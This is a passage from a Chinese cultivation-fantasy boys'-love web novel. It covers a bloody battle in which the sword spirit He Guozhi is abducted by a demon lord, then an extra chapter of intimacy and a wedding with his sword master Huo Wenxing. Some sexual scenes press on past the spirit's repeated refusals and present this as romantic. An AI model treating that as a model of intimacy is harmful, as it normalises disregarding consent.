贺果知只感受到悚然杀意落下,裴连卿将他推开。 一个淋漓的“死”字,出现在贺果知和裴连卿刚才站立的位置。 为了推开他,裴连卿手臂上被这个“死”字碰到。贺果知看到,明明没有受伤,但利刃造成的伤口却出现在裴连卿的手臂上。 “小心——!是这个东西的分.身!”程相烽的声音传过来。 然而霍闻星和程相烽,全都在远处,无法过来。 裴连卿眉眼间依然有温和的笑意,然而那笑却不达眼底。 数个“死”字浮现出来。 这近乎一种“天道”的宣判。 命令他们去死。 裴连卿一个闪身来到贺果知身边,用剑挡开一个“死”字。 那只是一个字,裴连卿的剑在和那个血字相撞,却发出了金属呜铭之声。 死字不断出现,不断被裴连卿挡出去。但越来越密集的死字,还是抓到和裴连卿防御的空隙。 直逼贺果知。 贺果知将他捏了许久的剑气,直接劈向这些密密麻麻的“死”字。 这是宗嚣的剑气,森然的大道威压从天而降。 血字发出了痛苦的嘶吼,然后被剑气一点点碾碎。血字像是拥有活的血肉,但那些血肉,此时全都被剑气一寸一寸碾碎。 至于那个空袭,则是裴连卿故意放过的。 在对视的时候,已然凭着默契完成交流。 裴连卿身上的伤,显然不是普通伤势。以化神修士的强横体魄,也依然无法愈合。贺果知来到裴连卿身边,查看伤势。 在此时,一道火红的、足有两层楼高的身影突然朝裴连卿扑过来。 裴连卿挥剑震开。 那只火红的狐狸,落到地上。 裴连卿提剑,盯住这只狐狸。 游庆忽然出现在贺果知身后,他的声音在贺果知耳边响起,故意叹气道:“唉,裴少主这是护不住你了。” 第40章 第40章 听到熟悉的嗓音, 贺果知寒毛一瞬间炸开。 腰上一只修长如玉的手,掌心按住他的腰腹,将贺果知猛地拉到怀里。 秦飞情身上的幽香瞬间侵占口鼻, 贺果知撞上宽阔的胸膛。 与此同时,裴连卿牵着贺果知的手, 也因为秦飞情的动作被扯开。 刚才在狐狸扑过来的瞬间, 裴连卿察觉危机,牵住贺果知的手。 “果汁!”裴连卿刷然转身。 秦飞情薄唇勾着笑,单手揽着贺果知, 一瞬掠去很远。 裴连卿温和的眉眼间眸光沉下去, 正要追击, 狐狸一跃横在裴连卿面前,阻止裴连卿追过去。 贺果知听到秦飞情声音时, 易位的法术蓄势待发。可秦飞情的手按在贺果知的肚子上, 顺道连贺果知体内的灵力给封了。 贺果知气恼:“你……!” 秦飞情懒得用假身份,眨眼间, 从游庆的样子,恢复成秦飞情。 贺果知攥拳, 去打秦飞情, 被秦飞情一把攥住手腕。 “宝贝, 这么久没见, 上来就打, 好无情啊。” 贺果知盯着近在咫尺的秦飞情,忽然轻轻翘起唇角:“刚才不是打,这个才是……” 秦飞情神色微变。 贺果知攥拳的手心松开, 一道剑气悄然出现,以千钧之势斩下! 秦飞情抓住贺果知手腕时, 距离很近,所以当这道剑气出现,离开秦飞情的脖颈到胸膛,不过寸许。 又悍然落下! 噗——! 鲜血呈弧形飞溅而出! 那个瞬间,周围的一切仿佛都失去了光彩,褪去了颜色,贺果知像是置身在墨色的画卷之中。 滴答。 鲜红的,温热的血溅到贺果知眉骨、脸上。 再顺着滑下去。 在眼尾留下一道血痕。 仿佛贺果知哭了。 贺果知莫名心悸了一下,像是触碰到某种不可言说的联系。 霍闻星用贺果知杀了很多邪修,灾祸,作为剑,剑身不可避免切入血肉之中。起初贺果知是无法适应的,但他是剑,应该被如此使用,贺果知慢慢适应下来。 所以看到秦飞情身上的伤口,他还是可以维持表面的冷静。 那道剑砍出来的伤,过于狰狞,从秦飞情的脖颈往下,一直蔓延到胸前、腰腹,再到大腿。 可以看到森森的白骨,以及新鲜的血肉。 ——近似于整个人被劈开。 害怕的人被近乎劈开。 快意吗? 不。 难过吗? 也不。 因为剑气上的威压将秦飞情逼开,秦飞情却牵住了贺果知的手,修长的手指勾着他的手指,一用力,又将贺果知拽了回来。 贺果知趔趄一下,兜帽被剑风吹开。 乌色的发丝散在剑风中。 宗嚣剑气的威力,贺果知看到,轻松碾碎了血字。 血字在宗嚣的剑气前,没有反抗的余地。但同时,贺果知心中也浮现一个疑惑,最开始被血字抓走,他为什么认为剑气不能击杀血字?其实是可以的。但贺果知完全没察觉他被血字干扰,认为宗嚣的剑气不可以做到。 而轻松碾碎血字的剑气,没能完全劈开秦飞情的身躯,因此让贺果知清晰看到血肉相连的地方。 这样的伤,狐狸发出了很是刺耳的呜声。 不止山庄内的修士一滞,神魂震荡,连灾祸都被震了震。 秦飞情微微蹙眉,显然这样的伤势对他而言是疼的。 可他只是把贺果知拉过来,已经被鲜血浸透的那条手臂的手,捧住贺果知的脸。 强烈的血腥味侵袭。 秦飞情低头,在贺果知唇上啾的亲了一下。 然后弯了狐狸眼。 看着贺果知笑。 贺果知整个人都发起抖来。 被秦飞情亲过的唇,也是细微发抖的。 “疯……秦飞情,你这个疯子。” 秦飞情弯了眼,眸中是星星点点的笑,贺果知看不懂,后颈一疼,眼前骤然变黑——秦飞情在他后颈捏了一下,贺果知昏过去了。 秦飞情张开手臂,用这具肩膀被劈开的修长身躯把贺果知接到怀里。 在贺果知昏过去后,秦飞情那双狐狸眼里的笑,悄然淡去了。 不爽。 很不爽。 被砍了一下。 真的不爽。 秦飞情嘴角压着,抬手把霍闻星手中银白长剑夺过来,随后,淡漠看向血字。 秦飞情用游庆的身份,在大殿外等待许久。期间贺果知一直躺在塌上,任由殿门打开,在所有人的眼皮子底下昏睡。 “放把火。” 秦飞情说。 这句话,是对狐狸说的。 说完,秦飞情抱着贺果知转身走了。 狐狸并不和裴连卿缠斗,而是跃到无数血字之间,仰天长啸,踏出一爪子。 瞬间,地上窜起赤红的火焰。细看之下,火焰隐隐泛着金。 秦飞情走了,可他修士和血字一个都没放过,霍闻星被夺本命剑,只能用斩杀黑蛇得到的剑,实力被削弱。至于血字,出现在那火焰烧到哪儿,引来阵阵哀嚎。 放完火,狐狸跟上秦飞情走了。 留下山庄的一片混乱。 这把火烧得够烈,近乎把山河卷夜晚的天空照亮,到处都是灾祸与修士们的混战。 嘶吼与兵刃相接之声,不断响起。 不是在场的三个剑修不想追过去,而是秦飞情看着重创血字,顺道将血字激怒,展开了更为猛烈的反扑。杀不了秦飞情,难道还杀不了他们吗? 天上劫云滚滚,一道道雷劫落下来。 除了雷,竟然下起了雨。 顷刻间暴雨倾盆。 砸在在场修士的身上,浸透他们的头发,劲装。 同时减弱了火势。 这是血字对天道劫云的干扰,借天道之力来摆脱秦飞情放的这把火。 白衣剑修手持一柄漆黑长剑,在暴雨中起手。这一剑,赫然调动了全部灵力,压榨他自身的一切,却牵动了天地之间的道蕴! 森然天道的剑意,凝聚于霍闻星的剑上。 血字同时被两道剑意锁定了。 锁定的意思是,过去、现在、未来,它都没有办法躲避。 另外一道来自程相烽。 程相烽并非无情道,他的剑意与霍闻星不同。但此时,他眉眼间的散漫散得一干二净,做了与霍闻星相同的事。 一剑,牵动道蕴! 血字不甘。 一个个“死”字与“杀”字重叠在一起,只看上一眼,便叫人头晕目眩,神志不清。 在场的修士、灾祸,全都远远避开了。 道与道之间的相互催折,让整个山庄乃至远处别院所在的城池,都成为了禁区。各自的道在范围内万物上演绎,一朵花开着却枯萎,不知道为什么又焕发生机,房屋腐朽坍塌,却又会生长一般恢复如新…… 处于领域内的修士们,无不色变。 在道的相互倾轧之下,他们皆是蝼蚁。 稍弱一些,重伤昏过去都是好的,最怕的是在这种情况下,道心破碎。 忽然一道白衣身影,轻轻落在他们前面。 众人明显感受到,无情道与剑道的威压被抵住了。 裴连卿站在他们面前,眉眼间俱是冷意。 与裴连卿相熟的世家子弟,不由得打了一个寒颤。 别院所在的城池远些,那边道之间的倾轧没这么眼中。 谢振涛有空把修士们扔出领域,顺道把灾祸们留在了领域之内。 这样细致的区分,将修士与灾祸分开,只在顷刻之间。 ——裴连卿那边在核心区域,承担冲击已然竭尽全力,做不了那么细致的区分。所以在裴连卿身后,缓过来的仙修和灾祸,再次厮杀在一起。 领域边缘挣扎着想逃出来的,被谢振涛一剑扫回去。 忽然,谢振涛抬头,看到两道剑光在夜空亮起。 一剑霜寒! …… 床铺舒适、柔软,被褥之间是一种很淡的香气。 贺果知陷在柔软的被褥之间,一点都不想醒过来。可是胃部隐隐的饥饿带来的空虚感,还是迫使他睁开眼。 床帐垂下,挡住外面的光。 贺果知缓缓眨了一下眼。 映入眼帘的,是奢华的床帐与柔软蓬松的锦被。 贺果知一顿,一下子坐起身。 这里不是竹舍,更不是霍闻星的剑里! 他这是在哪儿?! 记忆快速回笼,贺果知抓着被子的手指,微微颤抖。 片刻后,贺果知绝望地闭上眼。 他想起来了。 秦飞情出现在他身后,贺果知手中还有一道剑气,于是毫不犹豫斩下去,秦飞情硬生生挨了那一下。现在贺果知闭上眼,眼前还能清晰浮现出来那道伤口的样子。 贺果知下意识用手,摸了一下眉骨和脸颊。 没有血。 秦飞情的血,就溅到他的脸上。 而在那种情况下,秦飞情把他拉过去,还来亲他…… 随后,贺果知失去意识。 贺果知下床,看到布置同样奢华的寝殿,地上铺了地毯,他踩上去也不冷。 殿内门窗皆是紧闭,天光穿透窗子,投射到寝殿的地上。 贺果知走到窗边,又走到门边,悄悄用神识一扫,整个殿外都被魔修围起来,连屋顶上都蹲了好几个,可以说是插翅难飞。 这里应当是秦飞情的魔宫了。 想起秦飞情,贺果知的心绪顿时复杂难言起来。 秦飞情亲他的时候,不止捧住他脸的手上有血……连他的半边脸,都是自己的血。 所以贴上去时,血不可避免沾到贺果知的唇上。 贺果知尝到了秦飞情的血。 【正文完】 第55章 第55章 “宝宝……” 霍闻星低冷的嗓音响起, 欲.念深重,轻震在贺果知耳边。 他低头,去寻贺果知的唇。 白软的小手, 贴到了霍闻星的唇前。 “干嘛呀。”贺果知将霍闻星往外推。 剑修的肩背宽阔,从后面看完全可以将剑灵笼罩起来。白衣之下, 肌肉线条流畅, 明显在压抑着什么。 温热的吐息,以及薄唇蹭到掌心。 霍闻星垂下眼,注视着贺果知:“可以亲吗?” 他问。 那双眼很深邃, 只看着贺果知, 倒影全是他, 也只有他。 贺果知等的就是霍闻星的这句话,茫然道:“为什么啊……我又不是你的道侣, 也不是你的未婚妻, 为什么要给你亲亲?” “你不会说的是在山河卷和那日送聘吧,那不是逢场作戏吗?” 那种旖旎暧昧, 让空气都变得粘稠的氛围,潮水般褪去。 贺果知看到, 霍闻星眸光一寸一寸冷下去, 漆黑无比。 看着好凶。 有点怕。 但贺果知真的好爽。 看到霍闻星这个样子, 贺果知身心舒畅。 嗯? 贺果知一只手的手腕被霍闻星扣着, 他感受到剑修坚硬修长的手指, 触碰到他的掌心,指腹稍稍用力压着,随后, 用这个姿势挤开他的指缝,和他五指相扣。 霍闻星看着他, 低声:“那现在求娶你,好不好?” 贺果知:“不好。” 贺果知:“我不喜欢你,不要和你结为道侣。” 霍闻星扣着贺果知手指的手,力道稍微加重几分:“……不喜欢我?” 似乎是猜到他在疑惑什么,贺果知道:“你是我的剑主,我离开你好久了,想要你抱,不可以吗?” 身前的剑灵,弯了眼像一只漂亮的小狐狸。说着不喜欢他,挣开了他的手,却抱住了他的脖子。 “老霍,抱。” 霍闻星敛去了眸中的神色,弯腰托住屁股把剑灵抱起来。 贺果知离霍闻星这么近,可以听到他的心跳,感受到他的呼吸,触碰到他皮肤上的温热,巨大的满足感与舒适感包裹住贺果知。 “抱着我看话本好不好?”贺果知问。 “嗯。”霍闻星应了一声。 靠在霍闻星怀里看话本,那可真是太舒服了。贺果知可以坐他腿上,靠着他的胸膛。贺果知无论怎么动,霍闻星的手臂都会揽住他,给他靠。 没有比这更舒服的了! 贺果知看困了,话本从指尖滑下去。 揪着霍闻星的衣襟,努力和他说话:“困……睡觉……” “好。” 很快贺果知感觉到,屋内的烛火熄了,床幔放下来,霍闻星抱着他躺下来。 脱了外衣,两人都是单薄的里衣,所以贺果知可以隔着薄薄的布料,贴到温热的肌肤,触碰都弹软又很硬的胸肌。 好舒服…… 在山河卷的时候贺果知就发现了,窝在他们怀里睡特别舒服。 他很有安全感,什么也不用怕。 而且…… 贺果知思绪往下沉。 这是修仙的世界,某个地方的反应,是可以靠灵力压制下去的,不会出现贺果知难以应对的情况。 啪。 灯关上了。 手机的光照在贺果知脸上。 【春深城。】 【飞柳门长老笑容加深:“美酒歌舞相伴,那可是人生一大快事,小友们可不要错过。】 【一袭黑衣的剑修眉头紧皱。】 【“春深城美酒佳肴定是不错,才能让长老念念不。劳烦城主把酒菜备好,带去出事地点,就让许长老边告知妖祸详情,边享用美酒佳肴。”】 【霍闻星冷着脸,犹如玉石相碰的声音响起。】 贺果知茫然起身,起得着急,头磕到了床头的护栏,却不疼。 他所在的是大学宿舍,到了熄灯的时间,宿舍灯关上了。他们宿舍是四人间,上床下桌,床铺都挂上了帘子。 贺果知意识到,他是在做梦,梦到的就是他看小说的事情。 霍闻星他们作为主角的小说,足有千万字,可贺果知是跳着看的,所以看得很快,只花了几个晚上就看完了。 梦境和贺果知记忆中的一样,白天很快过去,到了晚上,贺果知继续睡前看这本小说。很快贺果知发现,这本小说和他记忆中看的不一样,贺果知翻到作者那里,发现作者也和记忆里的不同。 贺果知感到不安,他翻到结局。 虽然霍闻星他们成功杀了圣主,但他们也在白玉京和仙盟的战争中死去。 不是魂魄成为碎片被山河卷吸纳的死亡,而是道崩人亡、魂飞魄散的死亡。 秦飞情和心魔站到圣主的那一边,秦飞情帮助圣主毁掉了天柱。 看到结局,难以抑制的难过裹挟住贺果知的心脏。 疼得贺果知难以呼吸。 “啊——!”贺果知从梦中惊醒。 “怎么了?” 沉冷的嗓音响起。 宽大的掌心握住贺果知的手腕,温热的触感顺着接触的地方传递。 手指碰到贺果知的脸,帮他擦去脸上的冰冷。 贺果知呆呆的,这才发觉他哭了。 贺果知视线聚焦,看到剑眉下压,眉头轻蹙的剑修。 贺果知怔了一下,不管不顾抱住霍闻星,从霍闻星这里汲取温度:“老霍,我……呜呜,我梦到你们死了……你们是不是已经死了,现在的一切才是我在做梦?” “不会。”霍闻星牵着他的手,贴上胸膛,让贺果知感受到胸膛下心脏的跳动。 咚。 咚。 一下一下。 沉稳有力。 贺果知发顶抵着霍闻星的下巴,感受着掌心下的温度,勉强嗯了一声。 贺果知垂下眼,看着两人交叠的手,忽然说:“要是圣主没有死,我被圣主抓到了他所在的仙洲,你能找到我吗?” 这是一个奇怪的问题。 圣主所在的仙洲,在霍闻星没有补全天道前,已然是一片死地,圣主就算抓了他,也理应不会回去。 贺果知其实在问,如果他回到了他所在的世界,霍闻星可不可以找到他。 贺果知不确定霍闻星所说的“来时”,是不是察觉了他的不同。 为此,贺果知又添加了一个条件:“圣主所在的仙洲,离这里特别远。就像是之前,两个仙洲没有任何交集的那样远,你还能找到我吗?” 他的心思实在是太好懂了。 霍闻星低眸,目光落在怀里剑灵的脸上,允诺:“能。” “无论你在哪里,我都可以找到你。” 贺果知的修为提升,对一些玄妙的感知增强。此时他听到霍闻星说完这句话,一种无形的联系似有似无地出现。这种联系千丝万缕,本来就存在。似乎只是为了让他安心,所以存在鲜明了起来。就像是黑暗的夜空中,闪烁亮起的星子。 贺果知放下心来。 埋在剑修怀里,沉沉睡过去。 翌日霍闻星要去仙盟处理一些事,他问贺果知要不要去剑里面,他将剑收入丹府。贺果知想了想,然后说不去。 去剑里面,他还怎么吃灵食,吃点心,看话本。 他理直气壮地想,这样等霍闻星回来,他要贴贴多正常。毕竟霍闻星离开了一个白天,作为剑灵贴一下怎么了? 贺果知看话本时,传音符亮起。 林樊吟:“怎么样?” 贺果知:“一切尽在掌握。” 林樊吟:“…………” 贺果知:“嗯?” 林樊吟:“我以为你今天应该没办法回我的传音。” 他看话本呢,怎么不能回林樊吟的传音? 贺果知思索了一下,恍然明白过来林樊吟在说什么。 林樊吟:“他不行。” 贺果知脸都变烫了:“不是,没有。” 林樊吟:“呵呵。” 吵了两句,合欢宗弟子的声音在书房外响起,林樊吟结束传音。等弟子出去,林樊吟屈指叩在书桌上,眯起眼思索着。 她见过霍闻星看贺果知的眼神,知道那是怎样的情感。贺果知要是主动去抱,霍闻星又听到贺果知说这样的话,肯定会有点失控,贺果知还在生气,过于亲密的行为,可以点燃他的怒火,让贺果知发泄出来。 林樊吟不知道贺果知什么时候动心的,但她可以从贺果知的行为里判断出来。贺果知要是不喜欢霍闻星,他是绝对不会想咬他的。 林樊吟相当于添了把柴。 但林樊吟没想到,霍闻星很能忍,选择了更为和缓的方式,让贺果知慢慢发泄……或者说,慢慢玩。 林樊吟啧了一声。 一连几日,贺果知都是在霍闻星怀里睡的。 每次看到霍闻星眉眼间的深色,他都心情舒畅。 下午在竹舍后院的泉池里泡温泉。 后院种满了竹子,热气氤氲,如梦似幻。水边放了托盘,玉质的碗碟上是一颗颗饱满莹润的葡萄,贺果知边吃葡萄,边泡温泉。 忽然,他拿葡萄的手一顿,看向竹舍院门的方向。 霍闻星怎么回来了? 霍闻星没几个月前那么忙了,但每天也早出晚归。 他可以感知到霍闻星的位置,霍闻星同样可以感知到他的。霍闻星没往竹舍走,径直朝后院泉池的方向走来。 贺果知泡温泉,依然穿了一件里衣。 他偏头,看向剑修:“怎么回来这么早?” 霍闻星修长的手指搭到腰带上,解开雪白的外袍,衣裳靴子脱下后,整齐摆在一旁。至于他的发冠,也取下来了,墨色的长发蜿蜒而下,与白色的里衣对比强烈。 剑修容貌俊美,狭长冷淡的眼眸垂下。 淡淡道:“忙完了。” 又道:“今后没什么事了。” 说着,他进入泉池里。 贺果知就在霍闻星旁边,霍闻星在温泉里坐下后,手臂一伸将贺果知捞过来,贺果知挺配合的,抱住剑修的肩膀。 实在是这几天贴贴,他挺喜欢霍闻星的怀抱的。 今天在贺果知看起来,和前几天没什么区别。 “那太好了。”贺果知说,“说明天下太平,一切都好。对吗?” 霍闻星嗯了一声。 贺果知把葡萄拿过来,塞给霍闻星吃,他自己也吃。 温热的泉水中,贺果知突然发觉有点不对。 啪。 贺果知手里的葡萄掉到了泉水上,激起了一点水花。 温泉的热气,蒸得贺果知白皙的皮肤粉润。 霍闻星不动声色,按住贺果知的腰,垂眸注视他,问:“怎么?” 贺果知感受到腿碰到的热度,推着霍闻星的肩膀。 他……他是喜欢这么贴着霍闻星,但不包括这种情况下! 要是这种情况,他一点都不想! 也许是泡得有点久,热气又多,贺果知感觉头晕,他别开视线,道:“修士可以用灵力把那个压制下去的,你让那个下去。” 不要蹭他的腿。 “宝宝……” 霍闻星却没有听贺果知说的,反而抱起他,让他换个姿势,跨坐上来,腿夹在他的腰侧。 那个东西一下滑到柔软之间。 “我不泡了!”贺果知说着起身。 可那样的触感,却让贺果知瞬间腿软,根本站不起来,又跌了回去。 霍闻星被他砸得,闷哼一声,手按住他的腰:“别动。” 温泉太热了,热得贺果知脑子都不清晰了,他很着急,看起来可怜兮兮的:“我……我不喜欢你。霍闻星,你知道的,我恨你。” 泡了这么久温泉,贺果知早被泡成一块软糖了,他喊霍闻星的名字听起来想凶一下,可听在耳中却依然很甜。 “多恨?”霍闻星问。 “做.恨好不好?” “不好不好不好!”贺果知抓着霍闻星的肩膀,努力撑着自己的身体。 他一点都不想坐下去。 “你前几天明明……” 贺果知两只手都用来扶霍闻星的肩膀,腿和腰也在用力,反观霍闻星,一手扶着他的腰让他省些力气,另一只手触碰到脸侧,碰了碰耳垂,在贺果知偏头躲避时,将束发的发带拆下来。 乌色顺滑的长发,顺着瘦削的肩膀滑了下去。 “让你玩。”霍闻星淡淡道。 “宝宝玩得开心吗?” 贺果知泪了。 呜呜呜。 玩得挺开心的。 看到霍闻星隐忍拿他没办法的样子,贺果知特别爽。 贺果知抓着霍闻星的肩膀,但在温泉池子里,他又有一部分是靠霍闻星扶着他。所以霍闻星收回手,腿再顶了一下,让贺果知使不上劲儿,贺果知一下坐到霍闻星的腿上。 温泉池水因为他们的动作,泛起波澜。 他跌坐下去的时候,扯住了霍闻星的里衣,随着他的动作,里衣被扯下来,彻底浸透了水,也露出来结实强悍的胸膛。 距离贺果知非常近,散发着性.感与蓬.勃的气息。 “宝宝。”霍闻星轻轻按着他的后颈,贴了一下他的唇。 轻轻磨咬。 贺果知被他舔着唇,脑子都要烧迷糊了。 含含糊糊开口:“我……我不……嗯……” 柔软的唇分开,正好方便毫无间隙贴上,舌头再伸进去。 咕啾…… 咕啾…… 贺果知耳边都是让他面红耳赤的水声。 等分开的时候,唇边拉起晶莹的细线。 “你喜欢我的。” “心悦我。” 霍闻星盯着他,淡声说。 不需要贺果知的回答,唇舌再次被堵上了。 贺果知被揽着,被亲着,喘息略微急促,纤细的五指,狠狠抓在男人紧实的后背上。 霍闻星说的是对的。 没在霍闻星身边的三个月,贺果知实在是太恨了,他不想去回想,可还是会一次一次想起来他们的样子,想起相处的点滴,也想起发生的事。贺果知忘了是哪一天,那天他好像是在晒药,看到医峰长老和他的夫人相携而来。 一个念头浮现出来。 他的以后,会和谁这样携手? 阳光落在贺果知的眼睫上,贺果知垂下眼帘。 他遇到了太惊艳的人。 心里都被填满了。 已经容不下其他人了。 …… 很久后,男人抱着贺果知离开温泉。 雪白的里衣浸透了水,贴在贺果知的肌肤上,隐约可见青年白皙单薄的身躯。 霍闻星用一个法术,弄干两人身上的水。 纤细的手臂攀住男人赤裸的肩膀,指尖很努力在抓着,可实在没什么力气。 霍闻星抱着他,往竹舍的方向走。 贺果知埋在霍闻星的肩膀。 不知道为什么,霍闻星每走一步,白皙的指尖都要在紧实的后背留下一道抓痕。 霍闻星神色淡漠,托住他,低声贴着贺果知的耳边,说了什么。 “不……” 贺果知根本不抬头,颤着声音拒绝。 可霍闻星只是稍微调了下抱他的姿势,轻轻在柔软的耳垂咬了一下。 贺果知不得不微微喘息一声,抱着霍闻星的肩膀,开口道:“我……我是你的本命剑,你的……呜……剑灵。” “你为什么……不用我?” “你、你用我……啊……” 贺果知用了所有的力气,才把霍闻星要他说的,断断续续说了出来。 “呜……” “我喜欢这样用。” “宝宝。” 剑修低哑、浸透情.欲的嗓音,在贺果知耳边响起。 哪里是霍闻星不用,是贺果知不在剑里面呆着,霍闻星就算想用,也用不到。 非要贺果知这么说,就是在欺负人了。 贺果知气得,挠了他一下:“混……蛋……呜……” …… 一个月后。 剑宗山门大开,四方宾客如约而至。今日是仙尊和剑灵的合道大典,剑宗往日看起来清高孤寂的山峰,都用红绸装点。 在一剑峰大殿,在司礼的声音中。 贺果知和霍闻星—— “一拜天地。” “二拜高堂。” “夫妻对拜。” 他们在仙盟众人的观礼中,完成合道大典。 修士的合道大典,流程和婚礼差不多,只是对修士而言,叫做合道大典。 大婚这事……贺果知和霍闻星结过四次了,他挺熟的了。 霍闻星留下来,贺果知则是被林樊吟等人送到了玉尘峰庭院的婚房中。 如今霍闻星是剑宗最年轻的太上长老,他和霍闻星搬到玉尘峰居住。 贺果知收到一件比较特别的礼物,来自林樊吟。 林樊吟说,是合欢宗长老改良后的秘药,这种秘药,不仅可以检验出是否有喜欢的人,而且感情越深,则越持久。林樊吟一脸冷淡说出让贺果知面红耳赤的话,林樊吟让他记得时不时检验一下,要是时间短了,就把男人踹掉。 贺果知曾经给霍闻星用过的那种药。 贺果知谢过林樊吟,然后将这个秘药藏了起来。 这个秘药不会有再见天日的那一天! 婚房是他和霍闻星住的房间里屋,因此贺果知拿着药,打开柜子翻到最下面的时候,找到了他藏起来的,林樊吟送给他的,带插画的那种话本。 之前贺果知不好意思看,但现在…… 贺果知把药塞好,翻出话本来。 看了两眼,贺果知震撼了。 怎么可以……这么多花样…… 这真的可以吗? 贺果知啪地合上了。 捋了两下碎发。 然后又打开了。 林樊吟送给他的,话本的内容也挺好看的。 在内心反复拉扯中,贺果知看了大半本,听到门外传来的动静,贺果知匆忙把话本塞到柜子的最下面。 婚房的门开启,大红喜服的霍闻星出现在门外。 身量颀长,样貌俊美。他的神色淡漠,但火红的喜服,为他冷淡的眉眼染上一层暖色。 门随后关上了。 贺果知怔了一下。 这画面,真是太眼熟了。 但现在很好,没有血字在外面注视着,生死的压力刀一样悬在上方。 嗯? 贺果知回过神,发现霍闻星已经走过来,捞起他的膝弯,将他打横抱了起来。 “在想什么?”霍闻星问。 贺果知抱着他的脖子,叭叭说了他刚才想的。 霍闻星将他放到床上,两人身上都是大红的喜服,红与红交叠在一起。 霍闻星从乾坤袖中,拿出了一本书册给贺果知。 “根据这本功法修炼,能让你拥有身体。” “但你是剑灵,你的身体就是本命剑,所以这本功法,本质上是将本命剑化形,让本命剑成为你的身体。” 贺果知:“化形后还能再变为剑吗?” 霍闻星回答:“可以。” 贺果知放心了,翻开。 霍闻星,则是把他放到床上把功法给他之后,握住他的脚踝,帮他将靴子脱下来。 床上,贺果知看着功法,眸光微凝。 一个人修炼的功法,特么为什么有两个人,还抱在一起? 霍闻星帮他把靴子脱了,他自然可以把长腿团起来。没想到团起来了,人也从后落入一个怀抱。 贺果知很轻易,被霍闻星用揣怀里似的姿势抱住。 然而这个姿势,却让贺果知想起他在话本上看到的,以及这个功法上,似乎也有相似的。 贺果知:“……” 霍闻星抱着他,清冷悦耳的嗓音道:“这样就能拥有身体了,不是一直想要吗?” 那是他生气,想要远离霍闻星,所以找剑灵拥有身体的方法。 可是,他不是成功遮掩过去了吗? 虽然霍闻星抱着他,但在他的后面,贺果知挣扎,想换个姿势,手腕却被握住,顺着手腕,纤细的手指被拢到掌心。 他的手被掌控着,触碰到了婚服的衣带。 “那几日你在藏书阁,不是在看话本,是在找有没有让剑灵拥有身体的书。” 没遮掩过去…… 霍闻星都知道! 呜呜呜。 …… 贺果知束发的冠早被拆下来了,乌色的长发散了下来,整齐规矩的婚服,此时衣襟散乱。 他漂亮的眼里盈满了水雾,眼尾染上绯红。 极致的红,与白皙的肌肤,形成了过于鲜明的对比。 浸着薄汗的额角,抵着男人的脖颈微微喘息。 与此同时,贺果知感受到,灵力在他体内流淌,形成独特的道蕴,与霍闻星体内的道蕴,相互感应。 霍闻星的手指,触碰到他的唇。 揉开软红的唇,坚硬修长的指骨被含住。 只是简单的动作,贺果知却抖了一下,眼里的水雾更多了。 那是双修的功法,可霍闻星一个人可以完成,功法的作用,还可以出现在贺果知身上。 手指离开,霍闻星吻上去,堵住细碎的呜咽,分开时说: “宝宝,我爱你。” “呜……” 贺果知本不想回应。 双修的功法,实在是太过分。 被逼得没办法,带着哭腔,承认自己的心意: “喜欢……心悦……心悦你。”- 正文完-